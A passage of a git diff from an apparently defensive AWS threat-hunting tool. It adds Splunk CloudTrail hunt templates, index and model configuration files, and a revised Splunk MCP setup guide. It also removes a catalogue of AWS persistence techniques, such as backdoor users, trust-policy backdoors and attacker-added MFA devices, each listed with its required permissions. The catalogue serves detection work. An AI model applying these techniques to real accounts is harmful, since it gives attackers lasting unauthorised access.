ERRORS+=("SPL LINT FAIL: 'index=*' is not allowed. Always specify a named index.") fi # --- Report results --- diff --git a/config/hunt-reference-patterns.json b/config/hunt-reference-patterns.json new file mode 100644 index 0000000..f11e873 --- /dev/null +++ b/config/hunt-reference-patterns.json @@ -0,0 +1,95 @@ +{ + "version": "2026-04", + "description": "Reference pattern catalogue for hunt investigation. Keyed by alert type. Each pattern provides investigation angles and SPL templates for common CloudTrail alert types. Match investigation_context.alert_type case-insensitively against pattern keys. Fall back to Generic when no match is found.", + "patterns": { + "CreateAccessKey": { + "description": "IAM access key creation — actor vs target user, credential usage, related persistence", + "investigation_angles": [ + "Anchor event — Find the triggering CreateAccessKey, extract actor vs. target user, source IP, user agent", + "Target user privilege assessment — What can the target user do? Recent IAM changes to the target?", + "Actor reconnaissance — Did the actor enumerate IAM resources before key creation?", + "Credential usage — Has the new key been used? From what IP? What services?", + "Related persistence — Other persistence mechanisms in the same time window (CreateLoginProfile, AddUserToGroup, policy changes)?" + ], + "spl_templates": { + "anchor_event": "index=cloudtrail eventName=CreateAccessKey (userIdentity.arn=\"[user_arn]\" OR userIdentity.userName=\"[user_name]\") earliest=\"[time_range_earliest]\" latest=\"[time_range_latest]\"\n| rename userIdentity.userName AS actor, userIdentity.arn AS actor_arn, requestParameters.userName AS target_user\n| table _time eventName actor actor_arn target_user sourceIPAddress userAgent recipientAccountId errorCode\n| sort _time", + "target_user_iam_history": "index=cloudtrail eventSource=iam.amazonaws.com (userIdentity.userName=\"[target_user]\" OR requestParameters.userName=\"[target_user]\") earliest=\"[24h_before_event]\" latest=\"[event_time]\"\n| table _time eventName userIdentity.userName userIdentity.arn requestParameters.policyArn requestParameters.groupName sourceIPAddress errorCode\n| sort _time", + "actor_enumeration": "index=cloudtrail (userIdentity.arn=\"[actor_arn]\" OR userIdentity.userName=\"[actor_name]\") (eventName=ListUsers OR eventName=ListAccessKeys OR eventName=ListRoles OR eventName=ListGroupsForUser OR eventName=GetUser OR eventName=GetRole OR eventName=ListAttachedRolePolicies OR eventName=ListAttachedUserPolicies OR eventName=GetUserPolicy OR eventName=GetAccountAuthorizationDetails) earliest=\"[30_min_before_event]\" latest=\"[event_time]\"\n| table _time eventName userIdentity.userName sourceIPAddress userAgent errorCode\n| sort _time", + "credential_usage": "index=cloudtrail (sourceIPAddress=\"[source_ip]\" OR userIdentity.userName=\"[target_user]\") earliest=\"[event_time]\" latest=\"[2h_after_event]\"\n| table _time eventName eventSource userIdentity.userName userIdentity.arn userIdentity.accessKeyId sourceIPAddress userAgent errorCode\n| sort _time", + "related_persistence": "index=cloudtrail eventSource=iam.amazonaws.com (userIdentity.arn=\"[actor_arn]\" OR userIdentity.userName=\"[actor_name]\") earliest=\"[30_min_before_event]\" latest=\"[30_min_after_event]\"\n| table _time eventName userIdentity.userName requestParameters.userName requestParameters.policyArn sourceIPAddress errorCode\n| sort _time" + } + }, + "Root Account Login": { + "description": "Root account console login — MFA status, post-login activity, brute force patterns, IP history", + "investigation_angles": [ + "Anchor event — Find ConsoleLogin for Root, extract MFA status, login result, source IP, user agent", + "Post-login activity — All Root activity in 1 hour after login (IAM mods, CloudTrail changes, security tool changes)", + "Pre-login attempts — Failed ConsoleLogin for Root in 1 hour before (brute force / credential stuffing pattern)", + "IP history — Has this source IP been seen before in this account? Which other principals use it?" + ], + "spl_templates": { + "anchor_event": "index=cloudtrail eventName=ConsoleLogin \"userIdentity.type\"=Root earliest=\"[time_range_earliest]\" latest=\"[time_range_latest]\"\n| eval mfa_used=coalesce('additionalEventData.MFAUsed', \"unknown\")\n| eval login_result=if(errorCode=\"\" OR isnull(errorCode), \"Success\", \"Failed: \".errorCode)\n| table _time eventName sourceIPAddress userAgent mfa_used login_result recipientAccountId\n| sort _time", + "post_login_activity": "index=cloudtrail \"userIdentity.type\"=Root earliest=\"[login_time]\" latest=\"[1h_after_login]\"\n| table _time eventName eventSource requestParameters.* sourceIPAddress userAgent errorCode\n| sort _time", + "pre_login_attempts": "index=cloudtrail eventName=ConsoleLogin \"userIdentity.type\"=Root earliest=\"[1h_before_login]\" latest=\"[login_time]\"\n| eval login_result=if(errorCode=\"\" OR isnull(errorCode), \"Success\", \"Failed: \".errorCode)\n| table _time eventName sourceIPAddress userAgent login_result\n| sort _time", + "ip_history": "index=cloudtrail sourceIPAddress=\"[source_ip]\" earliest=\"[1.5h_before_login]\" latest=\"[1.5h_after_login]\"\n| stats count by userIdentity.arn userIdentity.userName userIdentity.type\n| table userIdentity.arn userIdentity.userName userIdentity.type count\n| sort -count" + } + }, + "IAM Policy Change": { + "description": "Covers: AttachRolePolicy, PutUserPolicy, CreatePolicyVersion, AttachUserPolicy, PutRolePolicy, CreatePolicy", + "investigation_angles": [ + "Anchor event — Find the policy change, extract what was changed, who changed it, target principal", + "Privilege exploitation — Did the target principal use new permissions in 2 hours after? Which services?", + "Actor reconnaissance — IAM enumeration by the actor in 2 hours before (ListPolicies, GetPolicy, GetAccountAuthorizationDetails)", + "Lateral movement — If role policy changed, did new principals assume the role after the change?" + ], + "spl_templates": { + "anchor_event": "index=cloudtrail (eventName=AttachRolePolicy OR eventName=PutUserPolicy OR eventName=CreatePolicyVersion OR eventName=AttachUserPolicy OR eventName=PutRolePolicy OR eventName=CreatePolicy) (userIdentity.arn=\"[user_arn]\" OR userIdentity.userName=\"[user_name]\") earliest=\"[time_range_earliest]\" latest=\"[time_range_latest]\"\n| table _time eventName userIdentity.arn userIdentity.userName requestParameters.policyArn requestParameters.roleName requestParameters.userName requestParameters.policyDocument sourceIPAddress errorCode\n| sort _time", + "target_principal_activity_after": "index=cloudtrail (userIdentity.arn=\"[target_principal_arn]\" OR userIdentity.userName=\"[target_principal_name]\") earliest=\"[change_time]\" latest=\"[2h_after_change]\"\n| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode\n| sort _time", + "actor_history_before": "index=cloudtrail (userIdentity.arn=\"[actor_arn]\" OR userIdentity.userName=\"[actor_name]\") earliest=\"[2h_before_change]\" latest=\"[change_time]\"\n| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode\n| sort _time", + "role_assumption_after": "index=cloudtrail eventName=AssumeRole requestParameters.roleArn=\"[target_role_arn]\" earliest=\"[change_time]\" latest=\"[2h_after_change]\"\n| table _time eventName userIdentity.arn userIdentity.userName requestParameters.roleArn requestParameters.roleSessionName sourceIPAddress errorCode\n| sort _time" + } + }, + "AssumeRole": { + "description": "AssumeRole / Cross-Account Access — assuming principal, session activity, historical baseline, post-assumption IAM changes", + "investigation_angles": [ + "Anchor event — Find the AssumeRole event, extract assuming principal, target role, session name, external ID, cross-account status", + "Session activity — What did the assumed role session do in 2 hours after? Key: IAM changes, data access, role chaining", + "Historical baseline — Who normally assumes this role? From where? Compare alerting assumption to 7-day baseline", + "Post-assumption IAM — Did the assumed role session make IAM changes (privilege escalation from temporary session)?" + ], + "spl_templates": { + "anchor_event": "index=cloudtrail eventName=AssumeRole (userIdentity.arn=\"[user_arn]\" OR requestParameters.roleArn=\"[role_arn_if_known]\") earliest=\"[time_range_earliest]\" latest=\"[time_range_latest]\"\n| table _time eventName userIdentity.arn userIdentity.type requestParameters.roleArn requestParameters.roleSessionName requestParameters.externalId responseElements.assumedRoleUser.arn sourceIPAddress userAgent errorCode\n| sort _time", + "session_activity": "index=cloudtrail \"userIdentity.arn\"=\"[assumed_role_session_arn]\" earliest=\"[assumption_time]\" latest=\"[2h_after_assumption]\"\n| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode\n| sort _time", + "historical_assumption_pattern": "index=cloudtrail eventName=AssumeRole requestParameters.roleArn=\"[target_role_arn]\" earliest=\"[7d_before_event]\" latest=\"[event_time]\"\n| stats count by userIdentity.arn sourceIPAddress\n| table userIdentity.arn sourceIPAddress count\n| sort -count", + "post_assumption_iam": "index=cloudtrail eventSource=iam.amazonaws.com \"userIdentity.arn\"=\"[assumed_role_session_arn]\" earliest=\"[assumption_time]\" latest=\"[1h_after_assumption]\"\n| table _time eventName requestParameters.policyArn requestParameters.userName requestParameters.roleName sourceIPAddress errorCode\n| sort _time" + } + }, + "CloudTrail Modification": { + "description": "Covers: StopLogging, DeleteTrail, UpdateTrail, PutEventSelectors — defense evasion via CloudTrail suppression", + "investigation_angles": [ + "Anchor event — Find the modification, extract which trail, what type (StopLogging vs DeleteTrail vs UpdateTrail vs PutEventSelectors)", + "Logging gap activity — What did the actor do during the suppression period? (Note: events may be missing if StopLogging succeeded)", + "Restoration check — Was logging restored? Gap duration? Who restored it?", + "Full actor timeline — 4-hour window centered on modification (recon → evasion → exploitation sequence)" + ], + "spl_templates": { + "anchor_event": "index=cloudtrail (eventName=StopLogging OR eventName=DeleteTrail OR eventName=UpdateTrail OR eventName=PutEventSelectors) earliest=\"[time_range_earliest]\" latest=\"[time_range_latest]\"\n| table _time eventName userIdentity.arn userIdentity.userName requestParameters.name requestParameters.trailName sourceIPAddress userAgent recipientAccountId errorCode\n| sort _time", + "activity_during_gap": "index=cloudtrail (userIdentity.arn=\"[actor_arn]\" OR userIdentity.userName=\"[actor_name]\") earliest=\"[modification_time]\" latest=\"[1h_after_modification]\"\n| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode\n| sort _time", + "restoration_check": "index=cloudtrail eventName=StartLogging (requestParameters.name=\"[trail_name]\" OR requestParameters.trailName=\"[trail_name]\") earliest=\"[modification_time]\" latest=\"[4h_after_modification]\"\n| table _time eventName userIdentity.arn userIdentity.userName sourceIPAddress\n| sort _time", + "full_actor_timeline": "index=cloudtrail (userIdentity.arn=\"[actor_arn]\" OR userIdentity.userName=\"[actor_name]\") earliest=\"[2h_before_modification]\" latest=\"[2h_after_modification]\"\n| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode\n| sort _time" + } + }, + "Generic": { + "description": "Generic / Unknown Alert Type — use when alert_type does not match any specific pattern above", + "investigation_angles": [ + "Find triggering events — Search by available fields (event name, user identity, source IP, time range). Determine actual event type", + "Actor activity timeline — 2-hour window centered on triggering event. Is this isolated or part of a sequence?", + "Analyst-directed pivot — After timeline, present pivot menu. The analyst decides direction" + ], + "spl_templates": { + "find_triggering_events": "index=cloudtrail (eventName=\"[event_name_if_known]\") (userIdentity.arn=\"[user_arn]\" OR userIdentity.userName=\"[user_name]\" OR sourceIPAddress=\"[source_ip]\") earliest=\"[time_range_earliest]\" latest=\"[time_range_latest]\"\n| table _time eventName eventSource userIdentity.arn userIdentity.userName userIdentity.type sourceIPAddress userAgent recipientAccountId errorCode\n| sort _time", + "actor_timeline": "index=cloudtrail (userIdentity.arn=\"[actor_arn]\" OR userIdentity.userName=\"[actor_name]\") earliest=\"[1h_before_event]\" latest=\"[1h_after_event]\"\n| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode\n| sort _time" + } + } + } +} diff --git a/config/index.example.json b/config/index.example.json new file mode 100644 index 0000000..47c5a1d --- /dev/null +++ b/config/index.example.json @@ -0,0 +1,50 @@ +{ + "_note": "Splunk index configuration for SCOPE agents. Copy to config/index.json and customize, or let the agent auto-discover indexes on first run. Index names below are common conventions -- rename to match your environment.", + "version": "1.0", + "updated": "2026-04-20T00:00:00Z", + "discovery_method": "manual", + "groups": { + "aws_api": { + "description": "AWS API call logs", + "indexes": ["cloudtrail"], + "primary_fields": ["eventName", "eventSource", "userIdentity.arn", "userIdentity.userName", "sourceIPAddress", "requestParameters", "responseElements"], + "time_field": "_time" + }, + "aws_network": { + "description": "AWS network flow and DNS logs", + "indexes": ["vpc_flow", "route53"], + "primary_fields": ["src_ip", "dest_ip", "dest_port", "protocol", "bytes"], + "time_field": "_time" + }, + "identity": { + "description": "Identity provider logs (Okta, Azure AD, etc.)", + "indexes": ["okta", "azure_ad"], + "primary_fields": ["actor.alternateId", "outcome.result", "displayMessage", "client.ipAddress"], + "time_field": "_time" + }, + "endpoint": { + "description": "Endpoint detection and Windows event logs", + "indexes": ["wineventlog", "crowdstrike", "sentinel_one"], + "primary_fields": ["EventCode", "ComputerName", "SubjectUserName", "ProcessName"], + "time_field": "_time" + }, + "vcs": { + "description": "Version control and CI/CD audit logs", + "indexes": ["github", "github_audit"], + "primary_fields": ["actor", "action", "repo", "org"], + "time_field": "_time" + }, + "network": { + "description": "Firewall, proxy, and network infrastructure logs", + "indexes": ["firewall", "palo_alto", "fortinet", "proxy"], + "primary_fields": ["src_ip", "dest_ip", "dest_port", "app", "action"], + "time_field": "_time" + }, + "cloud_platform": { + "description": "Other cloud platform logs (GCP, Azure)", + "indexes": ["gcp_audit", "azure_activity"], + "primary_fields": ["principalEmail", "methodName", "resourceName"], + "time_field": "_time" + } + } +} diff --git a/config/mcp-setup.md b/config/mcp-setup.md index f0b7508..2a6c95b 100644 --- a/config/mcp-setup.md +++ b/config/mcp-setup.md @@ -1,131 +1,62 @@ -# SCOPE — Splunk MCP Server Setup +# SCOPE — MCP Server Setup ## Overview -This guide walks you through connecting SCOPE's `scope-hunt` agent to your Splunk Cloud instance via the official Splunk MCP Server app (Splunkbase app 7931). Once configured, the agent executes SPL queries live with analyst approval — no more manual copy-paste loops. +SCOPE's `scope-hunt` agent can execute SIEM queries live via MCP. When connected, the agent runs queries directly with analyst approval. Without MCP, it falls back to MANUAL mode (generates queries for copy-paste). -**What this enables:** Live Splunk query execution from `scope-hunt` instead of the default MANUAL mode (SPL generation with paste-back). The agent probes for MCP connectivity at startup and falls back to MANUAL mode automatically when no MCP server is available. - -**Scope:** Splunk Cloud Platform only (official Splunkbase app 7931, version 1.0.2+). Splunk Enterprise and on-premises deployments are out of scope for this guide. +**Default configuration uses Splunk Cloud's MCP Server app (Splunkbase app 7931, v1.0.2+).** You can substitute any SIEM MCP server that exposes search tools — see [Using a Different SIEM](#using-a-different-siem) below. --- ## Prerequisites -Before starting, confirm you have: - -1. **Splunk Cloud Platform 9.2–10.2** — admin role required to install apps from Splunkbase -2. **Node.js v18 or later** — required by the `mcp-remote` stdio transport - - ```bash - node --version - # Expected: v18.x.x or higher - ``` - -3. **One of the following CLI tools:** - - | Platform | Minimum Version | MCP Config Location | - |----------|----------------|---------------------| - | Claude Code | v1.0.48+ | `.mcp.json` (project root) | - | Gemini CLI | Latest | `.gemini/settings.json` | - | Codex CLI | Latest | `.codex/config.toml` | - ---- - -## Step 1 — Install the Splunk MCP Server App - -1. Log in to your Splunk Cloud instance as an admin -2. Go to **Apps** → **Find More Apps** -3. Search for **"MCP Server for Splunk Platform"** (Splunkbase app 7931) -4. Click **Install** and follow the installation prompts -5. After installation, the **MCP Server** app appears in your Splunk Cloud navigation bar - ---- - -## Step 2 — Generate an MCP Token - -> **Important:** Token generation is done INSIDE the MCP Server app, NOT via Splunk Settings → Tokens. Tokens generated from Splunk Settings are standard HEC/REST tokens and will not work with the MCP protocol. - -1. Click the **MCP Server** app from the Splunk navigation bar -2. Follow the app's built-in token generation workflow -3. The generated token is MCP-specific and encrypted — it cannot be reused for direct Splunk REST API calls -4. **Copy the token value** — you will set it as `SPLUNK_TOKEN` in your shell environment +1. **Node.js v18+** — required by `mcp-remote` stdio transport +2. **SIEM MCP endpoint URL and authentication token** +3. **One of:** Claude Code (v1.0.48+), Gemini CLI, or Codex CLI --- -## Step 3 — Get the MCP Endpoint URL +## Configuration -> **Important:** The MCP endpoint URL is NOT the same as your Splunk Web URL. Do not use your standard Splunk Cloud URL (e.g., `https://org.splunkcloud.com`). - -1. In the MCP Server app, navigate to the **Connect** screen -2. Copy the **MCP endpoint URL** shown there (typically ends in `/services/mcp` or similar) -3. **Copy the full URL** — you will set it as `SPLUNK_URL` in your shell environment - ---- - -## Step 4 — Configure Environment Variables - -Add the two variables to your shell profile (`.zshrc`, `.bashrc`, or equivalent): +Set environment variables in your shell profile (`.zshrc`, `.bashrc`, etc.): ```bash -export SPLUNK_URL="https://your-endpoint-from-step-3" -export SPLUNK_TOKEN="your-token-from-step-2" +export SPLUNK_URL="https://your-mcp-endpoint" +export SPLUNK_TOKEN="your-mcp-token" ``` -Then reload your shell: - -```bash -source ~/.zshrc # or source ~/.bashrc -``` - -Verify the variables are set: +Reload your shell, then verify both are set: ```bash echo "$SPLUNK_URL" echo "$SPLUNK_TOKEN" ``` -Both should print non-empty values before continuing. - ---- - -## Step 5 — Configure SCOPE - -Pick the tab for your platform. Each platform reads MCP config from a different location and format. - -### Claude Code +The installer (`node bin/install.js`) deploys platform-specific MCP config automatically. If you need to configure manually: -The installer generates `.mcp.json` automatically during `node bin/install.js` (Claude Code local install). If it wasn't created, run the installer again. The file reads `SPLUNK_URL` and `SPLUNK_TOKEN` from your shell environment at startup. `.mcp.json` is listed in `.gitignore`. +### Claude Code (`.mcp.json`) ```json { "mcpServers": { "splunk-mcp-server": { "command": "npx", - "args": [ - "-y", - "mcp-remote", - "${SPLUNK_URL}", - "--header", - "Authorization: Bearer ${SPLUNK_TOKEN}" - ] + "args": ["-y", "mcp-remote", "${SPLUNK_URL}", "--header", "Authorization: Bearer ${SPLUNK_TOKEN}"] } } } ``` -### Gemini CLI +### Gemini CLI (`.gemini/settings.json`) -The MCP config goes in `.gemini/settings.json`. SCOPE includes a launcher script (`bin/splunk-mcp-start.sh`) that handles environment variable loading, PATH setup, validation, and debug logging. - -Add the `mcpServers` block at the top level of `.gemini/settings.json`: +Add `mcpServers` at the top level: ```json { "mcpServers": { "splunk-mcp-server": { - "command": "bash", - "args": ["bin/splunk-mcp-start.sh"], + "command": "sh", + "args": ["-c", "npx -y mcp-remote \"$SPLUNK_URL\" --header \"Authorization: Bearer $SPLUNK_TOKEN\""], "env": { "SPLUNK_URL": "$SPLUNK_URL", "SPLUNK_TOKEN": "$SPLUNK_TOKEN" @@ -135,164 +66,70 @@ Add the `mcpServers` block at the top level of `.gemini/settings.json`: } ``` -> **Why the `env` block?** Gemini CLI automatically redacts environment variables matching patterns like `*TOKEN*`, `*SECRET*`, `*KEY*`. Without the explicit `env` block, `SPLUNK_TOKEN` gets stripped before reaching the MCP server. Variables declared in `env` bypass this redaction. - -> **Debug logging:** The launcher writes to `~/.scope/splunk-mcp.log` on every startup. If the connection fails, check that log for the exact error. It records env var state (token length only, never the value), node/npx paths, and any startup failures. - -### Codex CLI +The `env` block is required — Gemini CLI redacts variables matching `*TOKEN*` patterns unless explicitly declared. The `sh -c` wrapper is required because Gemini CLI does not expand `$VAR` references in the `args` array. -Codex reads MCP config from `.codex/config.toml`. Create the file if it doesn't exist: +### Codex CLI (`.codex/config.toml`) ```toml [mcp_servers.splunk-mcp-server] -command = "npx" -args = ["-y", "mcp-remote"] -startup_timeout_sec = 30 -tool_timeout_sec = 60 +url = "${SPLUNK_URL}" [mcp_servers.splunk-mcp-server.env] SPLUNK_URL = "$SPLUNK_URL" SPLUNK_TOKEN = "$SPLUNK_TOKEN" ``` -> **Note:** Codex uses TOML format, not JSON. The `bearer_token_env_var` field can be used for HTTP transport, but since the Splunk MCP server uses the `mcp-remote` stdio bridge, environment variables are passed via the `env` block. - --- -## Step 6 — Verify the Connection +## Verify -1. Open a terminal in the SCOPE project directory -2. Start your CLI tool (`claude`, `gemini`, or `codex`) -3. Run the investigate command: `/scope:hunt` -4. Watch the startup output — the agent probes for Splunk MCP connectivity automatically +1. Start your CLI tool in the SCOPE project directory +2. Run `/scope:hunt` +3. The agent probes for MCP connectivity at startup -**Expected output (success):** - -``` -Checking for Splunk MCP connection... -Splunk MCP connected via search_oneshot -> https://your-endpoint. Queries execute automatically after your approval. -``` - -**Expected output (not connected):** - -``` -Checking for Splunk MCP connection... -Splunk MCP not available. I will generate SPL queries for you to run manually. Paste results back to continue. -See config/mcp-setup.md to enable live queries. -``` - -If you see the MANUAL message, proceed to the Troubleshooting section below. +**Connected:** `Splunk MCP connected via search_oneshot -> https://your-endpoint` +**Not connected:** Falls back to MANUAL mode (SPL generation for paste-back) --- -## Safety Audit — MCP Tool Manifest - -SCOPE's safety model requires that no MCP tool can execute AWS write operations. The Splunk MCP Server app (app 7931, v1.0.2) exposes the following tools — all of which are Splunk-scoped: +## Using a Different SIEM -| Tool Name | Purpose | AWS Write Risk | -|--------------------|--------------------------------------|----------------| -| validate_spl | Validate SPL query before execution | None | -| search_oneshot | Execute blocking SPL search | None | -| search_export | Stream large result sets | None | -| get_indexes | List Splunk indexes | None | -| get_saved_searches | List saved searches | None | -| run_saved_search | Execute a saved search | None | -| get_config | Retrieve MCP server config | None | -| saia_generate_spl | Convert natural language to SPL | None | -| saia_explain_spl | Explain SPL in plain language | None | -| saia_optimize_spl | Optimize an SPL query | None | +SCOPE's MCP configuration is not locked to Splunk. If your SIEM provides an MCP server (Elastic, Sentinel, QRadar, etc.), replace the `mcpServers` block with your SIEM's MCP server command and credentials. -**Verdict:** All tools are Splunk-scoped. None accept AWS resource identifiers, API names, or credentials as parameters. Zero AWS write operation risk. +The `scope-hunt` agent probes for available search tools at startup. If it finds a working search tool exposed by your MCP server, it enters CONNECTED mode. If no recognized tool responds, it falls back to MANUAL mode where it generates queries for you to run externally. -> **Note:** If a future app version adds new tools, operators should review the updated tool manifest before upgrading. Check the app's release notes on Splunkbase. +To use a different SIEM MCP server: +1. Replace the `splunk-mcp-server` entry in your platform's config with your SIEM's MCP server definition +2. Set the appropriate environment variables for your SIEM's authentication +3. The agent will probe the available tools and adapt --- ## Troubleshooting -### MCP Error -32000 (Transport Failure) - -**Cause:** The MCP server process starts but cannot reach the Splunk endpoint. Most common reasons: - -1. `SPLUNK_URL` is the Splunk Web URL instead of the MCP endpoint URL -2. Environment variables are not exported in the shell that launched the CLI tool -3. Firewall blocking the MCP endpoint port - -**Fix:** Verify the endpoint URL is from the MCP Server app's Connect screen (not your Splunk Web login URL). Test the connection manually: - -```bash -npx -y mcp-remote "$SPLUNK_URL" --header "Authorization: Bearer $SPLUNK_TOKEN" -``` - -If this errors, the issue is between your machine and Splunk, not the CLI tool. - ---- - -### 401 Unauthorized - -**Cause:** Token was generated from Splunk Settings → Tokens instead of the MCP Server app. - -**Fix:** Open the MCP Server app and regenerate the token from within the app's token generation workflow. Replace `SPLUNK_TOKEN` in your shell profile with the new value and reload. - ---- - -### Connection Refused / 404 Not Found - -**Cause:** `SPLUNK_URL` is set to the Splunk Web URL (e.g., `https://org.splunkcloud.com`) instead of the MCP endpoint URL. - -**Fix:** Copy the MCP endpoint URL from the MCP Server app's Connect screen. The MCP endpoint is a different URL from your Splunk Web login URL. - ---- - -### npx: command not found - -**Cause:** Node.js is not installed or not in your PATH. - -**Fix:** Install Node.js v18 or later from [nodejs.org](https://nodejs.org) or via your system package manager. After installation, verify: - -```bash -node --version -npx --version -``` +| Problem | Cause | Fix | +|---------|-------|-----| +| 401 Unauthorized | Token generated from Splunk Settings instead of MCP Server app | Regenerate from within the MCP Server app | +| Transport failure (-32000) | Wrong URL (Splunk Web URL vs MCP endpoint) | Use URL from MCP Server app's Connect screen | +| Literal `${SPLUNK_TOKEN}` in header | Claude Code below v1.0.48 | Upgrade Claude Code | +| Token redacted (Gemini) | Missing `env` block | Add explicit `env` block to settings.json | +| npx not found | Node.js not in PATH | Install Node.js v18+ | +| Probe fails but SIEM reachable | Tool name mismatch across app versions | Tell agent the correct tool name when prompted | --- -### Literal `${SPLUNK_TOKEN}` Appears in Auth Header / 401 - -**Cause:** Claude Code version is below v1.0.48. Older versions do not expand `${VAR}` references in `.mcp.json` at launch. - -**Fix:** Upgrade Claude Code: - -```bash -claude --version -# If below 1.0.48, update via your installation method -``` - ---- - -### Gemini CLI: Token Redacted / Empty Auth Header - -**Cause:** Gemini CLI's automatic environment sanitization strips variables matching `*TOKEN*` patterns before they reach the MCP server. - -**Fix:** Ensure the `env` block is present in your `.gemini/settings.json` MCP config. Variables explicitly declared in `env` bypass Gemini's redaction. See the Gemini CLI section in Step 5. - ---- - -### Connection Timeout - -**Cause:** Outbound firewall blocking access to your Splunk Cloud MCP endpoint. The MCP protocol may use port 8089 (non-standard) in addition to 443. - -**Fix:** Verify outbound access from your workstation to the full MCP endpoint URL on ports 443 and 8089. Contact your network team if firewall rules need adjustment. - ---- - -### Tool Probe Fails but Splunk Is Reachable - -**Cause:** The app version on your Splunk Cloud instance exposes `splunk_run_query` as the primary tool name rather than `search_oneshot`. +## Safety -**Fix:** When `scope-hunt` starts and shows the MANUAL message, use the analyst override option: -1. Tell the agent: "Splunk MCP IS connected" -2. When prompted, enter: `splunk_run_query` -3. The agent will attempt that tool and switch to CONNECTED mode if it succeeds +All Splunk MCP Server tools (app 7931, v1.0.2) are Splunk-scoped. None accept AWS resource identifiers or credentials as parameters. Zero AWS write operation risk. -This is a known version difference in app 7931 — SCOPE's `allowed-tools` includes `splunk_run_query` for this reason. +| Tool | Purpose | +|------|---------| +| validate_spl | Validate SPL before execution | +| search_oneshot | Execute blocking SPL search | +| search_export | Stream large result sets | +| get_indexes | List Splunk indexes | +| get_saved_searches | List saved searches | +| run_saved_search | Execute a saved search | +| saia_generate_spl | Natural language to SPL | +| saia_explain_spl | Explain SPL in plain language | +| saia_optimize_spl | Optimize SPL query | diff --git a/config/models.json b/config/models.json new file mode 100644 index 0000000..d4ade3c --- /dev/null +++ b/config/models.json @@ -0,0 +1,17 @@ +{ + "claude": { + "enum": "claude-haiku-4-5", + "reasoning": "claude-sonnet-4-6", + "inherit": null + }, + "gemini": { + "enum": "gemini-3.1-flash-lite-preview", + "reasoning": "gemini-3.1-pro-preview", + "inherit": null + }, + "codex": { + "enum": "gpt-5.4-mini", + "reasoning": "gpt-5.4", + "inherit": null + } +} diff --git a/config/observations.example.md b/config/observations.example.md new file mode 100644 index 0000000..e8ad139 --- /dev/null +++ b/config/observations.example.md @@ -0,0 +1,15 @@ +# SCOPE Environment Observations + +## Org-Wide Patterns + + +## Account: REPLACE_WITH_ACCOUNT_ID +### Naming & Structure +### Recurring Gaps +### Known-Good Trusts + +## Investigation Baselines + + +## Deployed Controls + diff --git a/config/persistence-techniques.json b/config/persistence-techniques.json deleted file mode 100644 index bb0488e..0000000 --- a/config/persistence-techniques.json +++ /dev/null @@ -1,313 +0,0 @@ -{ - "version": "2026-03", - "description": "Persistence technique catalogue for AWS environments. Covers IAM, STS, EC2, Lambda, and storage persistence vectors. Used by scope-attack-paths Part 7 analysis.", - "categories": { - "iam": [ - { - "id": "persist-iam-backdoor-user", - "name": "Create backdoor user", - "required_permissions": ["iam:CreateUser", "iam:CreateAccessKey"], - "what_attacker_achieves": "New long-term credentials that survive rotation of the original", - "detection_events": ["CreateUser", "CreateAccessKey"], - "severity_default": "critical", - "notes": "Survives credential rotation of the original compromised principal. Most durable persistence method." - }, - { - "id": "persist-iam-backdoor-role-trust", - "name": "Backdoor role trust policy", - "required_permissions": ["iam:UpdateAssumeRolePolicy"], - "what_attacker_achieves": "External attacker account can AssumeRole indefinitely", - "detection_events": ["UpdateAssumeRolePolicy"], - "severity_default": "critical", - "notes": "Modifies the trust policy of an existing role to add the attacker's account or principal. Survives incident response that only resets credentials." - }, - { - "id": "persist-iam-backdoor-policy-version", - "name": "Backdoor policy version", - "required_permissions": ["iam:CreatePolicyVersion"], - "what_attacker_achieves": "Hidden permissive policy version; attacker can switch default later", - "detection_events": ["CreatePolicyVersion"], - "severity_default": "high", - "notes": "Creates a non-default policy version with broad permissions. The version is invisible unless auditors enumerate all policy versions. Attacker can flip it to default at any time." - }, - { - "id": "persist-iam-add-attacker-mfa", - "name": "Add attacker MFA device", - "required_permissions": ["iam:CreateVirtualMFADevice", "iam:EnableMFADevice"], - "what_attacker_achieves": "Locks out legitimate user, attacker controls MFA", - "detection_events": ["CreateVirtualMFADevice", "EnableMFADevice"], - "severity_default": "critical", - "notes": "Attacker registers their own MFA device on the target user. If MFA is enforced, legitimate user loses access. Attacker retains it." - }, - { - "id": "persist-iam-backdoor-saml-oidc", - "name": "Create/backdoor SAML/OIDC provider", - "required_permissions": ["iam:CreateSAMLProvider", "iam:UpdateSAMLProvider", "iam:CreateOpenIDConnectProvider"], - "what_attacker_achieves": "Federated access via attacker's identity provider", - "detection_events": ["CreateSAMLProvider", "UpdateSAMLProvider", "CreateOpenIDConnectProvider"], - "severity_default": "critical", - "notes": "Attacker registers or modifies a SAML/OIDC provider pointing to infrastructure they control. Any role trusting that provider is now attacker-accessible." - }, - { - "id": "persist-iam-disable-mfa", - "name": "Disable MFA", - "required_permissions": ["iam:DeactivateMFADevice"], - "what_attacker_achieves": "Removes MFA barrier for future access", - "detection_events": ["DeactivateMFADevice"], - "severity_default": "high", - "notes": "Deactivates MFA on the compromised principal or other users, enabling password-only authentication for future sessions." - } - ], - "sts": [ - { - "id": "persist-sts-long-lived-tokens", - "name": "Long-lived session tokens", - "required_permissions": ["sts:GetSessionToken"], - "what_attacker_achieves": "36-hour tokens that survive key rotation and can't be enumerated", - "detection_events": ["GetSessionToken"], - "severity_default": "high", - "notes": "GetSessionToken issues tokens valid up to 36 hours. Unlike access keys, these tokens are not listed in IAM — defenders can't enumerate them. Tokens survive static credential rotation." - }, - { - "id": "persist-sts-role-chain-juggling", - "name": "Role chain juggling", - "required_permissions": ["sts:AssumeRole"], - "what_attacker_achieves": "Infinite credential refresh loop — indefinite access with no long-term keys", - "detection_events": ["AssumeRole"], - "severity_default": "high", - "notes": "Attacker assumes roles in a cycle (A assumes B, B assumes A or a third role). Each assumption refreshes credentials. With two mutually-trusting roles, access is indefinite with no static keys to rotate." - }, - { - "id": "persist-sts-federation-token", - "name": "Federation token console access", - "required_permissions": ["sts:GetFederationToken"], - "what_attacker_achieves": "Stealthy console access that doesn't appear in IAM user list", - "detection_events": ["GetFederationToken"], - "severity_default": "high", - "notes": "GetFederationToken creates long-lived (up to 36 hours) federated sessions. Sessions use the calling user's name as a federated identity — hard to distinguish from legitimate use." - } - ], - "ec2": 